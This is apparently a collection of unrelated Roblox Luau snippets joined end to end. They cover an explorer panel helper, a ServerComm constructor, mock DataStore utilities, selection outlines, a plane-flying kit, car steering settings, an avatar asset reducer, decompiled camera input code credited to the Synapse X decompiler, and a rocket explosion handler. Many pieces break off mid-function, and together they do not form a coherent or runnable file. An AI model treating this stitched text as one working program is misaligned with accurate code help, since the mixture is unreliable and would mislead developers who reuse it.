RemoteEvent:InvokeServer("Delete", o) end local getTextWidth do local text = Create('TextLabel',{ Name = "TextWidth"; TextXAlignment = 'Left'; TextYAlignment = 'Center'; Font = FONT; FontSize = FONT_SIZE; Text = ""; Position = UDim2_new(0,0,0,0); Size = UDim2_new(1,0,1,0); Visible = false; Parent = explorerPanel; }) function getTextWidth(s) text.Text = s return text.TextBounds.x end end local nameScanned = false
--[=[ @param parent Instance @param namespace string? @return ServerComm Constructs a ServerComm object. The `namespace` parameter is used in cases where more than one ServerComm object may be bound to the same object. Otherwise, a default namespace is used. ]=]
function ServerComm.new(parent: Instance, namespace: string?) assert(IS_SERVER, "ServerComm must be constructed from the server") assert(typeof(parent) == "Instance", "Parent must be of type Instance") local ns = DEFAULT_COMM_FOLDER_NAME if namespace then ns = namespace end assert(not parent:FindFirstChild(ns), "Parent already has another ServerComm bound to namespace " .. ns) local self = setmetatable({}, ServerComm) self._instancesFolder = Instance.new("Folder") self._instancesFolder.Name = ns self._instancesFolder.Parent = parent return self end
-- Setting these here so the functions above can self-reference just by name:
MockDataStoreUtils.logMethod = logMethod MockDataStoreUtils.deepcopy = deepcopy MockDataStoreUtils.scanValidity = scanValidity MockDataStoreUtils.getStringPath = getStringPath MockDataStoreUtils.importPairsFromTable = importPairsFromTable MockDataStoreUtils.prepareDataStoresForExport = prepareDataStoresForExport MockDataStoreUtils.preprocessKey = preprocessKey MockDataStoreUtils.simulateYield = simulateYield MockDataStoreUtils.simulateErrorCheck = simulateErrorCheck return MockDataStoreUtils
--local crawlAnm=script:WaitForChild("crawlAnimation")
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 10 -- cooldown for use of the tool again ZoneModelName = "Error void" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Populate library list with cached libraries
for _, Library in pairs(script:GetChildren()) do pcall(function () RegisterLibrary(require(Library.Metadata), require(Library)) end); end;
-- Define target box cleanup routine
function SelectionBoxPool.Cleanup(SelectionBox) SelectionBox.Adornee = nil SelectionBox.Visible = nil end function CreateSelectionBoxes(Item) -- Creates selection boxes for the given item -- Only create selection boxes if in tool mode if GetCore().Mode ~= 'Tool' then return; end; -- Ensure selection boxes don't already exist for item if Selection.Outlines[Item] then return end -- Get targetable items local Items = Support.FlipTable { Item } if not IsVisible(Item) then Items = Support.FlipTable(GetVisibleChildren(Item)) end -- Create selection box for each targetable item local SelectionBoxes = {} for Item in pairs(Items) do -- Create the selection box local SelectionBox = SelectionBoxPool:Get() SelectionBox.Adornee = Item SelectionBox.Visible = true -- Register the outline SelectionBoxes[Item] = SelectionBox end -- Register selection boxes for this item Selection.Outlines[Item] = SelectionBoxes end; function RemoveSelectionBoxes(Item) -- Removes the given item's selection boxes -- Only proceed if outlines exist for item local SelectionBoxes = Selection.Outlines[Item] if not SelectionBoxes then return end -- Remove each item's outline for _, SelectionBox in pairs(SelectionBoxes) do SelectionBoxPool:Release(SelectionBox) end -- Clear list of outlines for item Selection.Outlines[Item] = nil end function Selection.RecolorOutlines(Color) -- Updates selection outline colors -- Set `Color` as the new color Selection.Color = Color; -- Recolor existing outlines for Outline in pairs(SelectionBoxPool.All) do Outline.Color = Selection.Color; end; end; function Selection.RecolorOutline(Item, Color) -- Updates outline colors for `Item` -- Make sure `Item` has outlines local Outlines = Selection.Outlines[Item] if not Outlines then return end -- Recolor all outlines for item for VisibleItem, Outline in pairs(Outlines) do Outline.Color = Color end end function Selection.FlashOutlines() -- Flashes selection outlines for emphasis -- Fade in from complete to normal transparency for Transparency = 1, 0.5, -0.1 do -- Update each outline for Outline in pairs(SelectionBoxPool.InUse) do Outline.Transparency = Transparency; end; -- Fade over time wait(0.1); end; end; function Selection.EnableMultiselectionHotkeys() -- Enables hotkeys for multiselecting -- Determine multiselection hotkeys local Hotkeys = Support.FlipTable { 'LeftShift', 'RightShift', 'LeftControl', 'RightControl' }; -- Get core API local Core = GetCore(); -- Listen for matching key presses Core.Connections.MultiselectionHotkeys = Support.AddUserInputListener('Began', 'Keyboard', false, function (Input) if Hotkeys[Input.KeyCode.Name] then Selection.Multiselecting = true; end; end); -- Listen for matching key releases Core.Connections.MultiselectingReleaseHotkeys = Support.AddUserInputListener('Ended', 'Keyboard', true, function (Input) -- Get currently pressed keys local PressedKeys = Support.GetListMembers(Support.GetListMembers(Game:GetService('UserInputService'):GetKeysPressed(), 'KeyCode'), 'Name'); -- Continue multiselection if a hotkey is still pressed for _, PressedKey in pairs(PressedKeys) do if Hotkeys[PressedKey] then return; end; end; -- Disable multiselection if matching key not found Selection.Multiselecting = false; end); end; function Selection.EnableOutlines() -- Enables selection outlines -- Create outlines for each item for Item in pairs(Selection.ItemIndex) do CreateSelectionBoxes(Item) end end function Selection.HideOutlines() -- Hides selection outlines -- Remove every item's outlines for Item in pairs(Selection.Outlines) do RemoveSelectionBoxes(Item) end end function TrackSelectionChange(OldSelection) -- Registers a history record for a change in the selection -- Avoid overwriting history for selection actions if History.Index ~= #History.Stack then return; end; -- Add the history record History.Add({ Before = OldSelection; After = Selection.Items; Unapply = function (HistoryRecord) -- Reverts this change -- Restore the old selection Selection.Replace(HistoryRecord.Before); end; Apply = function (HistoryRecord) -- Reapplies this change -- Restore the new selection Selection.Replace(HistoryRecord.After); end; }); end; return Selection;
-------------------------------------------------------------------
local IsGroupOnly = Settings.IsGroupOnly local GroupID = Settings.GroupID local MinRank = Settings.MinRank
----- MAGIC NUMBERS ABOUT THE TOOL ----- -- How much damage a bullet does
local Damage = 4
-- Welcome to the variable museum:
local player = script.Parent.Parent.Parent local plane,mainParts,info,main,move,gryo,seat,landingGear,accel,canCrash,crashForce,crashSpin,crashVisual,maxBank,maxSpeed,speedVary,stallSpeed,throttleInc,altRestrict,altMin,altMax,altSet local desiredSpeed,currentSpeed,realSpeed = 0,0,0 local mouseSave local gearParts = {} local selected,flying,on,dead,gear,throttle = false,false,false,false,true,0 local gui = script.Parent.PlaneGui:clone() local panel = gui.Panel local lowestPoint = 0 local A = math.abs -- Creating a shortcut for the function local keys = { engine={key}; landing={key}; spdup={byte=0;down=false}; spddwn={byte=0;down=false}; } function waitFor(parent,array) -- Backup system to wait for objects to 'load' if (array) then for _,name in pairs(array) do while (not parent:findFirstChild(name)) do wait() end -- If the object is found right away, no time will be spent waiting. That's why 'while' loops work better than 'repeat' in this case end elseif (parent:IsA("ObjectValue")) then while (not parent.Value) do wait() end end end function fixVars() -- Correct your mistakes to make sure the plane still flies correctly! maxBank = (maxBank < -90 and -90 or maxBank > 90 and 90 or maxBank) throttleInc = (throttleInc < 0.01 and 0.01 or throttleInc > 1 and 1 or throttleInc) stallSpeed = (stallSpeed > maxSpeed and maxSpeed or stallSpeed) accel = (accel < 0.01 and 0.01 or accel > maxSpeed and maxSpeed or accel) altMax = ((altMax-100) < altMin and (altMin+100) or altMax) altMax = (altSet and (altMax+main.Position.y) or altMax) altMin = (altSet and (altMin+main.Position.y) or altMin) keys.engine.key = (keys.engine.key == "" and "e" or keys.engine.key) keys.landing.key = (keys.landing.key == "" and "g" or keys.landing.key) keys.spdup.byte = (keys.spdup.byte == 0 and 17 or keys.spdup.byte) keys.spddwn.byte = (keys.spddwn.byte == 0 and 18 or keys.spddwn.byte) end function getVars() -- Since this plane kit is supposed to make you avoid scripting altogether, I have to go the extra mile and write a messy function to account for all those object variables plane = script.Parent.Plane.Value waitFor(plane,{"MainParts","OtherParts","EDIT_THESE","Dead"}) mainParts,info = plane.MainParts,plane.EDIT_THESE waitFor(mainParts,{"Main","MainSeat","LandingGear"}) main,seat,landingGear = mainParts.Main,mainParts.MainSeat,mainParts.LandingGear waitFor(main,{"Move","Gyro"}) move,gyro = main.Move,main.Gyro accel,canCrash,crashForce,crashSpin,crashVisual,maxBank,maxSpeed,speedVary,stallSpeed,throttleInc,altRestrict,altMin,altMax,altSet = -- Quickest way to assign tons of variables A(info.Acceleration.Value),info.CanCrash.Value,A(info.CanCrash.Force.Value),info.CanCrash.SpinSpeed.Value,info.CanCrash.VisualFX.Value, info.MaxBank.Value,A(info.MaxSpeed.Value),A(info.SpeedDifferential.Value),A(info.StallSpeed.Value),A(info.ThrottleIncrease.Value), info.AltitudeRestrictions.Value,info.AltitudeRestrictions.MinAltitude.Value,info.AltitudeRestrictions.MaxAltitude.Value,info.AltitudeRestrictions.SetByOrigin.Value keys.engine.key = info.Hotkeys.Engine.Value:gmatch("%a")():lower() keys.landing.key = info.Hotkeys.LandingGear.Value:gmatch("%a")():lower() local sU,sD = info.Hotkeys.SpeedUp.Value:lower(),info.Hotkeys.SpeedDown.Value:lower() keys.spdup.byte = (sU == "arrowkeyup" and 17 or sU == "arrowkeydown" and 18 or sU:gmatch("%a")():byte()) -- Ternary operations use logical figures to avoid 'if' statements keys.spddwn.byte = (sD == "arrowkeyup" and 17 or sD == "arrowkeydown" and 18 or sD:gmatch("%a")():byte()) fixVars() plane.Dead.Changed:connect(function() if ((plane.Dead.Value) and (not dead)) then -- DIE! dead,flying,on = true,false,false main.Fire.Enabled,main.Smoke.Enabled = info.CanCrash.VisualFX.Value,info.CanCrash.VisualFX.Value move.maxForce = Vector3.new(0,0,0) gyro.D = 1e3 while ((selected) and (not plane.Dead.Stop.Value)) do gyro.cframe = (gyro.cframe*CFrame.Angles(0,0,math.rad(crashSpin))) wait() end end end) end function getGear(parent) -- Very common way to scan through every descendant of a model: for _,v in pairs(parent:GetChildren()) do if (v:IsA("BasePart")) then local t,r,c = Instance.new("NumberValue",v),Instance.new("NumberValue",v),Instance.new("BoolValue",v) -- Saving original properties t.Name,r.Name,c.Name = "Trans","Ref","Collide" t.Value,r.Value,c.Value = v.Transparency,v.Reflectance,v.CanCollide table.insert(gearParts,v) end getGear(v) end end function getLowestPoint() -- Plane will use LowestPoint to determine where to look to make sure the plane is either flying or on the ground if (#gearParts == 0) then lowestPoint = (main.Position.y+5+(main.Size.y/2)) return end for _,v in pairs(gearParts) do -- Not very efficient, but it basically does what I designed it to do: local _0 = (main.Position.y-(v.CFrame*CFrame.new((v.Size.x/2),0,0)).y) local _1 = (main.Position.y-(v.CFrame*CFrame.new(-(v.Size.x/2),0,0)).y) local _2 = (main.Position.y-(v.CFrame*CFrame.new(0,(v.Size.y/2),0)).y) local _3 = (main.Position.y-(v.CFrame*CFrame.new(0,-(v.Size.y/2),0)).y) local _4 = (main.Position.y-(v.CFrame*CFrame.new(0,0,(v.Size.z/2))).y) local _5 = (main.Position.y-(v.CFrame*CFrame.new(0,0,-(v.Size.z/2))).y) local n = (math.max(_0,_1,_2,_3,_4,_5)+5) lowestPoint = (n > lowestPoint and n or lowestPoint) end end function guiSetup() -- Setting up the GUI buttons and such local cur = 0 panel.Controls.Position = UDim2.new(0,-8,0,-(panel.Controls.AbsolutePosition.y+panel.Controls.AbsoluteSize.y)) panel.ControlsButton.MouseButton1Click:connect(function() cur = (cur == 0 and 1 or 0) if (cur == 0) then panel.Controls:TweenPosition(UDim2.new(0,-8,0,-(panel.Controls.AbsolutePosition.y+panel.Controls.AbsoluteSize.y)),"In","Sine",0.35) else panel.Controls.Visible = true panel.Controls:TweenPosition(UDim2.new(0,-8,1,32),"Out","Back",0.5) end end) panel.Controls.c1.Value.Text = (keys.engine.key:upper() .. " Key") panel.Controls.c4.Value.Text = (keys.landing.key:upper() .. " Key") panel.Controls.c2.Value.Text = (keys.spdup.byte == 17 and "UP Arrow Key" or keys.spdup.byte == 18 and "DOWN Arrow Key" or (string.char(keys.spdup.byte):upper() .. " Key")) panel.Controls.c3.Value.Text = (keys.spddwn.byte == 17 and "UP Arrow Key" or keys.spddwn.byte == 18 and "DOWN Arrow Key" or (string.char(keys.spddwn.byte):upper() .. " Key")) end waitFor(script.Parent,{"Plane","Deselect0","Deselect1","CurrentSelect"}) waitFor(script.Parent.Plane) getVars() getGear(landingGear) getLowestPoint() guiSetup() if (script.Parent.Active) then script.Parent.Name = "RESELECT" while (script.Parent.Active) do wait() end end script.Parent.Name = "Plane" function changeGear() gear = (not gear) for _,v in pairs(gearParts) do v.Transparency,v.Reflectance,v.CanCollide = (gear and v.Trans.Value or 1),(gear and v.Ref.Value or 0),(gear and v.Collide.Value or false) -- Learning how to code like this is extremely useful end end function updateGui(taxiing,stalling) panel.Title.Text = info.PlaneName.Value panel.Off.Visible = (not on) panel.Taxi.Visible,panel.Stall.Visible = taxiing,(not taxiing and stalling) if ((realSpeed > -10000) and (realSpeed < 10000)) then panel.Speed.Value.Text = tostring(math.floor(realSpeed+0.5)) end panel.Altitude.Value.Text = tostring(math.floor(main.Position.y+0.5)) panel.Throttle.Bar.Amount.Size = UDim2.new(throttle,0,1,0) end function taxi() -- Check to see if the plane is on the ground or not return (currentSpeed <= stallSpeed and game.Workspace:findPartOnRay(Ray.new(main.Position,Vector3.new(0,-lowestPoint,0)),plane)) -- Make sure plane is on a surface end function stall() -- Originally set as a giant ternary operation, but got WAY too complex, so I decided to break it down for my own sanity if ((altRestrict) and (main.Position.y > altMax)) then return true end local diff = ((realSpeed-stallSpeed)/200) diff = (diff > 0.9 and 0.9 or diff) local check = { -- Table placed here so I could easily add new 'checks' at ease. If anything in this table is 'true,' then the plane will be considered to be taxiing (currentSpeed <= stallSpeed); (main.CFrame.lookVector.y > (realSpeed < stallSpeed and -1 or -diff)); } for _,c in pairs(check) do if (not c) then return false end end return true end function fly(m) -- Main function that controls all of the flying stuff. Very messy. flying = true local pos,t = main.Position,time() local lastStall = false while ((flying) and (not dead)) do realSpeed = ((pos-main.Position).magnitude/(time()-t)) -- Calculate "real" speed pos,t = main.Position,time() local max = (maxSpeed+(-main.CFrame.lookVector.y*speedVary)) -- Speed variety based on the pitch of the aircraft desiredSpeed = (max*(on and throttle or 0)) -- Find speed based on throttle local change = (desiredSpeed > currentSpeed and 1 or -1) -- Decide between accelerating or decelerating currentSpeed = (currentSpeed+(accel*change)) -- Calculate new speed
-----[Values to Initialize]-----
local RGBHolders = {} local PreviewColor = {} local Errors = {} local RGBInputs = { } local RGBSliderHitboxes = { } local RGBSliders = { }
-- create the Viewmodel
local Viewmodel : Model = Instance.new("Model") local FakeHumanoidRootPart : Part = Instance.new("Part") Viewmodel.Name = "Viewmodel" FakeHumanoidRootPart.Name = "HumanoidRootPart" FakeHumanoidRootPart.CanCollide = false FakeHumanoidRootPart.CanTouch = false FakeHumanoidRootPart.Anchored = true
--[[Steering]]
Tune.SteerInner = 39 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 40 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .05 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .15 -- Steering increment per tick (in degrees) Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 15 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 13 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 100 -- Steering Aggressiveness
-- Arm And Leg
character.LeftUpperArm.CustomPhysicalProperties = PhysicalProperties.new(Ds,Fr,El,FrW,ElW) character.RightUpperArm.CustomPhysicalProperties = PhysicalProperties.new(Ds,Fr,El,FrW,ElW) character.RightUpperLeg.CustomPhysicalProperties = PhysicalProperties.new(Ds,Fr,El,FrW,ElW) character.LeftUpperLeg.CustomPhysicalProperties = PhysicalProperties.new(Ds,Fr,El,FrW,ElW) character.Head.CustomPhysicalProperties = PhysicalProperties.new(Ds,Fr,El,FrW,ElW) character.RightLowerLeg.CustomPhysicalProperties = PhysicalProperties.new(Ds,Fr,El,100,ElW) character.RightLowerArm.CustomPhysicalProperties = PhysicalProperties.new(Ds,Fr,El,FrW,ElW) character.LeftLowerLeg.CustomPhysicalProperties = PhysicalProperties.new(Ds,Fr,El,100,ElW) character.LeftLowerArm.CustomPhysicalProperties = PhysicalProperties.new(Ds,Fr,El,FrW,ElW) character.RightHand.CustomPhysicalProperties = PhysicalProperties.new(Ds,Fr,El,FrW,ElW) character.LeftHand.CustomPhysicalProperties = PhysicalProperties.new(Ds,Fr,El,FrW,ElW) character.RightFoot.CustomPhysicalProperties = PhysicalProperties.new(Ds,Fr,El,100,ElW) character.LeftFoot.CustomPhysicalProperties = PhysicalProperties.new(Ds,Fr,El,100,ElW) end
--[[ Add more owned asset ids to the players list. Keep order by checking for duplicates and only appending new ones to the list. ]]
return Rodux.createReducer({}, { [SetOwnedAssets.name] = function(state, action) local checkForDups = {} local currentAssets = state[action.assetTypeId] and state[action.assetTypeId] or {} for _, assetId in pairs(currentAssets) do checkForDups[assetId] = assetId end for _, assetId in pairs(action.assets) do if not checkForDups[assetId] then currentAssets[#currentAssets + 1] = assetId end end return Cryo.Dictionary.join(state, {[action.assetTypeId] = currentAssets}) end, [GrantAsset.name] = function(state, action) if GetAENewNavigationEnabled() then local updatedCategories = {} local assetTypeId = tostring(action.assetTypeId) local newAssetId = tostring(action.assetId) local searchUuids = AssetTypeToSearchUuids[assetTypeId] if not searchUuids then return state end for _, searchUuid in ipairs(searchUuids) do local currentAssets = state[searchUuid] and state[searchUuid] or {} local updatedAssets = { newAssetId } local owned = false for i, assetId in ipairs(currentAssets) do if assetId == newAssetId then owned = true break else updatedAssets[i + 1] = assetId end end -- Do nothing if this asset is already owned. if not owned then updatedCategories[searchUuid] = updatedAssets end end if next(updatedCategories) then return Cryo.Dictionary.join(state, updatedCategories) end return state else local assetTypeId = tostring(action.assetTypeId) local newAssetId = tostring(action.assetId) local currentAssets = state[assetTypeId] and state[assetTypeId] or {} local updatedAssets = { newAssetId } for i, assetId in ipairs(currentAssets) do -- Do nothing if this asset is already owned. if assetId == newAssetId then return state else updatedAssets[i + 1] = assetId end end return Cryo.Dictionary.join(state, {[assetTypeId] = updatedAssets}) end end, [RevokeAsset.name] = function(state, action) if GetAENewNavigationEnabled() then local updatedCategories = {} local assetTypeId = tostring(action.assetTypeId) local assetToRevokeId = tostring(action.assetId) local searchUuids = AssetTypeToSearchUuids[assetTypeId] if not searchUuids then return state end for _, searchUuid in ipairs(searchUuids) do local currentAssets = state[searchUuid] and state[searchUuid] or {} local updatedAssets = Cryo.List.removeValue(currentAssets, assetToRevokeId) -- Do nothing if this asset is not owned. if #currentAssets ~= #updatedAssets then updatedCategories[searchUuid] = updatedAssets end end if next(updatedCategories) then return Cryo.Dictionary.join(state, updatedCategories) end return state else local assetTypeId = tostring(action.assetTypeId) local assetToRevokeId = tostring(action.assetId) local currentAssets = state[assetTypeId] and state[assetTypeId] or {} local updatedAssets = Cryo.List.removeValue(currentAssets, assetToRevokeId) return Cryo.Dictionary.join(state, {[assetTypeId] = updatedAssets}) end end, [GrantOutfit.name] = function(state, action) local actionOutfitId = tostring(action.outfitId) local currentOutfits = state[AvatarEditorConstants.CharacterKey] or {} local updatedOutfits = { actionOutfitId } for i, outfitId in ipairs(currentOutfits) do -- Do nothing if this costume is already owned. if outfitId == actionOutfitId then return state else updatedOutfits[i + 1] = outfitId end end return Cryo.Dictionary.join(state, {[AvatarEditorConstants.CharacterKey] = updatedOutfits}) end, [RevokeOutfit.name] = function(state, action) local outfitId = tostring(action.outfitId) local currentOutfits = state[AvatarEditorConstants.CharacterKey] or {} local costumeList = Cryo.List.removeValue(currentOutfits, outfitId) return Cryo.Dictionary.join(state, {[AvatarEditorConstants.CharacterKey] = costumeList}) end })
-- Decompiled with the Synapse X Luau decompiler.
local l__ContextActionService__1 = game:GetService("ContextActionService"); local l__UserInputService__2 = game:GetService("UserInputService"); local l__RunService__3 = game:GetService("RunService"); local l__UserGameSettings__4 = UserSettings():GetService("UserGameSettings"); local l__LocalPlayer__5 = game:GetService("Players").LocalPlayer; local v6 = math.rad(120); local v7 = Vector2.new(1, 0.77) * math.rad(0.5); local v8 = Vector2.new(1, 0.77) * math.rad(7); local v9 = Vector2.new(1, 0.66) * math.rad(1); local v10 = Vector2.new(1, 0.77) * math.rad(4); local v11 = Instance.new("BindableEvent"); local v12 = Instance.new("BindableEvent"); local u1 = v11; l__UserInputService__2.InputBegan:Connect(function(p1, p2) if not p2 and p1.UserInputType == Enum.UserInputType.MouseButton2 then u1:Fire(); end; end); local u2 = v12; l__UserInputService__2.InputEnded:Connect(function(p3, p4) if p3.UserInputType == Enum.UserInputType.MouseButton2 then u2:Fire(); end; end); u1 = nil; u1 = function(p5) return math.sign(p5) * math.clamp((math.exp(2 * ((math.abs(p5) - 0.1) / 0.9)) - 1) / (math.exp(2) - 1), 0, 1); end; u2 = function(p6) local l__CurrentCamera__13 = workspace.CurrentCamera; if not l__CurrentCamera__13 then return p6; end; local v14 = l__CurrentCamera__13.CFrame:ToEulerAnglesYXZ(); if p6.Y * v14 >= 0 then return p6; end; return Vector2.new(1, (1 - (2 * math.abs(v14) / math.pi) ^ 0.75) * 0.75 + 0.25) * p6; end; local u3 = 0.016666666666666666; l__RunService__3.Stepped:Connect(function(p7, p8) u3 = p8; end); local v15 = {}; local u4 = 0; local v16 = Instance.new("BindableEvent"); v15.gamepadZoomPress = v16.Event; local u5 = { Thumbstick2 = Vector2.new() }; function v15.getRotationActivated() local v17 = true; if not (u4 > 0) then v17 = u5.Thumbstick2.Magnitude > 0; end; return v17; end; local u6 = { Left = 0, Right = 0, I = 0, O = 0 }; local u7 = { Movement = Vector2.new(), Wheel = 0, Pan = Vector2.new(), Pinch = 0 }; local u8 = { Move = Vector2.new(), Pinch = 0 }; function v15.getRotation(p9) local v18 = Vector2.new(1, l__UserGameSettings__4:GetCameraYInvertValue()); local v19 = Vector2.new(u6.Right - u6.Left, 0) * u3; if p9 then v19 = Vector2.new(); end; return (v19 * v6 + u5.Thumbstick2 * v10 + u7.Movement * v7 + u7.Pan * v8 + u2(u8.Move) * v9) * v18; end; function v15.getZoomDelta() return (u6.O - u6.I) * 0.1 + (-u7.Wheel + u7.Pinch) * 1 + -u8.Pinch * 0.04; end; local u9 = nil; local function u10(p10) local v20 = l__LocalPlayer__5:FindFirstChildOfClass("PlayerGui"); local v21 = v20 and v20:FindFirstChild("TouchGui"); local v22 = v21 and v21:FindFirstChild("TouchControlFrame"); local v23 = v22 and v22:FindFirstChild("DynamicThumbstickFrame"); if not v23 then return false; end; if not v21.Enabled then return false; end; local l__AbsolutePosition__24 = v23.AbsolutePosition; local v25 = l__AbsolutePosition__24 + v23.AbsoluteSize; local v26 = false; if l__AbsolutePosition__24.X <= p10.X then v26 = false; if l__AbsolutePosition__24.Y <= p10.Y then v26 = false; if p10.X <= v25.X then v26 = p10.Y <= v25.Y; end; end; end; return v26; end; local function u11() u4 = math.max(0, u4 + 1); end; local u12 = {}; local u13 = nil; local function u14() u4 = math.max(0, u4 - 1); end; local function u15(p11, p12) assert(p11.UserInputType == Enum.UserInputType.Touch); assert(p11.UserInputState == Enum.UserInputState.Begin); if u9 == nil and u10(p11.Position) and not p12 then u9 = p11; return; end; if not p12 then u11(); end; u12[p11] = p12; end; local function u16(p13, p14) assert(p13.UserInputType == Enum.UserInputType.Touch); assert(p13.UserInputState == Enum.UserInputState.Change); if p13 == u9 then return; end; if u12[p13] == nil then u12[p13] = p14; end; local v27 = {}; for v28, v29 in pairs(u12) do if not v29 then table.insert(v27, v28); end; end; if #v27 == 1 and u12[p13] == false then local l__Delta__30 = p13.Delta; u8.Move = u8.Move + Vector2.new(l__Delta__30.X, l__Delta__30.Y); end; if #v27 ~= 2 then u13 = nil; return; end; local l__Magnitude__31 = (v27[1].Position - v27[2].Position).Magnitude; if u13 then u8.Pinch = u8.Pinch + (l__Magnitude__31 - u13); end; u13 = l__Magnitude__31; end; local function u17(p15) local l__Delta__32 = p15.Delta; u7.Movement = Vector2.new(l__Delta__32.X, l__Delta__32.Y); end; local function u18(p16, p17) assert(p16.UserInputType == Enum.UserInputType.Touch); assert(p16.UserInputState == Enum.UserInputState.End); if p16 == u9 then u9 = nil; end; if u12[p16] == false then u13 = nil; u14(); end; u12[p16] = nil; end; local u19 = false; local function u20() for v33, v34 in pairs({ u5, u6, u7, u8 }) do for v35, v36 in pairs(v34) do if type(v36) == "boolean" then v34[v35] = false; else v34[v35] = v34[v35] * 0; end; end; end; end; local function u21() u12 = {}; u9 = nil; u13 = nil; end; local function u22(p18, p19, p20) local l__Position__37 = p20.Position; u5[p20.KeyCode.Name] = Vector2.new(u1(l__Position__37.X), -u1(l__Position__37.Y)); end; local l__Value__23 = Enum.ContextActionPriority.Default.Value; local function u24(p21, p22, p23) if p22 == Enum.UserInputState.Begin then local v38 = 1; else v38 = 0; end; u6[p23.KeyCode.Name] = v38; end; local function u25(p24, p25, p26) if p25 == Enum.UserInputState.Begin then v16:Fire(); end; end; local u26 = {}; local function u27(p27, p28) if p27.UserInputType == Enum.UserInputType.Touch then u15(p27, p28); return; end; if p27.UserInputType == Enum.UserInputType.MouseButton2 and not p28 then u11(); end; end; local function u28(p29, p30) if p29.UserInputType == Enum.UserInputType.Touch then u16(p29, p30); return; end; if p29.UserInputType == Enum.UserInputType.MouseMovement then u17(p29); end; end; local function u29(p31, p32) if p31.UserInputType == Enum.UserInputType.Touch then u18(p31, p32); return; end; if p31.UserInputType == Enum.UserInputType.MouseButton2 then u14(); end; end; local function u30(p33, p34, p35, p36) if not p36 then u7.Wheel = p33; u7.Pan = p34; u7.Pinch = -p35; end; end; function v15.setInputEnabled(p37) if u19 == p37 then return; end; u19 = p37; u20(); u21(); if not u19 then l__ContextActionService__1:UnbindAction("RbxCameraThumbstick"); l__ContextActionService__1:UnbindAction("RbxCameraMouseMove"); l__ContextActionService__1:UnbindAction("RbxCameraMouseWheel"); l__ContextActionService__1:UnbindAction("RbxCameraKeypress"); for v39, v40 in pairs(u26) do v40:Disconnect(); end; u26 = {}; return; end; l__ContextActionService__1:BindActionAtPriority("RbxCameraThumbstick", u22, false, l__Value__23, Enum.KeyCode.Thumbstick2); l__ContextActionService__1:BindActionAtPriority("RbxCameraKeypress", u24, false, l__Value__23, Enum.KeyCode.Left, Enum.KeyCode.Right, Enum.KeyCode.I, Enum.KeyCode.O); l__ContextActionService__1:BindAction("RbxCameraGamepadZoom", u25, false, Enum.KeyCode.ButtonR3); table.insert(u26, l__UserInputService__2.InputBegan:Connect(u27)); table.insert(u26, l__UserInputService__2.InputChanged:Connect(u28)); table.insert(u26, l__UserInputService__2.InputEnded:Connect(u29)); table.insert(u26, l__UserInputService__2.PointerAction:Connect(u30)); end; function v15.getInputEnabled() return u19; end; function v15.resetInputForFrameEnd() u7.Movement = Vector2.new(); u8.Move = Vector2.new(); u8.Pinch = 0; u7.Wheel = 0; u7.Pan = Vector2.new(); u7.Pinch = 0; end; l__UserInputService__2.WindowFocused:Connect(u20); l__UserInputService__2.WindowFocusReleased:Connect(u20); local u31 = false; function v15.getHoldPan() return u31; end; local u32 = false; function v15.getTogglePan() return u32; end; function v15.getPanning() return u32 or u31; end; function v15.setTogglePan(p38) u32 = p38; end; local u33 = false; local u34 = nil; local u35 = nil; local l__Event__36 = v11.Event; local u37 = 0; local l__Event__38 = v12.Event; function v15.enableCameraToggleInput() if u33 then return; end; u33 = true; u31 = false; u32 = false; if u34 then u34:Disconnect(); end; if u35 then u35:Disconnect(); end; u34 = l__Event__36:Connect(function() u31 = true; u37 = tick(); end); u35 = l__Event__38:Connect(function() u31 = false; if tick() - u37 < 0.3 and (u32 or l__UserInputService__2:GetMouseDelta().Magnitude < 2) then u32 = not u32; end; end); end; function v15.disableCameraToggleInput() if not u33 then return; end; u33 = false; if u34 then u34:Disconnect(); u34 = nil; end; if u35 then u35:Disconnect(); u35 = nil; end; end; return v15;
--Explodes the rocket at the given position.
local function Explode(Position) if Exploded == false then Exploded = true local RegisteredPlayers = {} --Returns the amount of hit players. local function GetHitPlayers() local Count = 0 for _,_ in pairs(RegisteredPlayers) do Count = Count + 1 end return Count end --Regester hits from exploisions. local function OnExplosionHit(ExplosionTouchPart,RadiusFromBlast) local IsInCharacter = false if ExplosionTouchPart.Size.magnitude/2 < 20 then local BreakJoints = true local HitCharacter,HitHumanoid = FindCharacterAncestor(ExplosionTouchPart) --Damage the character if one exists and disable breaking joints. if HitCharacter then IsInCharacter = true BreakJoints = false local HitPlayer = game.Players:GetPlayerFromCharacter(HitCharacter) if (HitPlayer and not RegisteredPlayers[HitPlayer]) or (not HitPlayer and not RegisteredPlayers[HitCharacter]) then RegisteredPlayers[HitPlayer or HitCharacter] = true